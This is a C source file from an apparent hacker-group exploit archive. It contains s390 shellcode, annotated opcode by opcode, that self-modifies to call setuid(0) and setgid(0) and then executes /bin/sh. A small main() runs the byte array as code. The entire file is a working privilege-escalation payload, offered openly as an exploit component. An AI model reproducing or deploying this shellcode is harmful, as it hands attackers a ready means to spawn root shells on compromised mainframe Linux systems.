THC-Archive/Exploits/390execve.c

/* setuid/setgid 0 execve s390 shellcode   			*/
/* code by jcyberpunk@thehackerschoice.com 			*/

char shellcode[]=
"\x0c\x10"             	/* bassm	%r1,%r0			*/
"\x41\x90\x10\x48"     	/* la		%r9,72(%r1)		*/
"\xa7\xa8\xfb\xb4"     	/* lhi		%r10,-1100		*/
"\xa7\x68\x04\x56"     	/* lhi		%r6,1110		*/
"\x1a\x6a"             	/* ar 		%r6,%r10		*/
"\x42\x60\x10\x48"     	/* stc		%r6,72(%r1)		*/
"\x17\x22"             	/* xr		%r2,%r2			*/
"\x0d\xe9"             	/* basr		%r14,%r9		*/
"\xa7\x68\x04\x7a"     	/* lhi		%r6,1146		*/
"\x1a\x6a"             	/* ar		%r6,%r10		*/
"\x42\x60\x10\x49"     	/* stc		%r6,73(%r1)		*/
"\x0d\xe9"             	/* basr		%r14,%r9		*/
"\xa7\x68\x04\x57"     	/* lhi		%r6,1111		*/
"\x1a\x6a"             	/* ar		%r6,%r10		*/
"\x42\x60\x10\x49"     	/* stc		%r6,73(%r1)		*/
"\x41\x20\x10\x4c"     	/* la		%r2,76(%r1)		*/
"\x50\x20\x10\x54"     	/* st		%r2,84(%r1)		*/
"\x41\x30\x10\x54"     	/* la		%r3,84(%r1)		*/
"\x17\x44"             	/* xr		%r4,%r4			*/
"\x42\x40\x10\x53"     	/* stc		%r4,83(%r1)		*/
"\x50\x40\x10\x58"     	/* st		%r4,88(%r1)		*/
"\x41\x40\x10\x58"     	/* la		%r4,88(%r1)		*/
"\x0d\xe9"             	/* basr		%r14,%r9		*/
"\x0b\x17"             	/* svc n after self-modification	*/
"\x07\xfe"             	/* br		%r14			*/
"\x2f\x62"             	/* /b					*/
"\x69\x6e\x2f\x73"     	/* in/s					*/
"\x68\x5c";		/* h\					*/

main()
{
 void (*z)()=(void*)shellcode;
 z();
}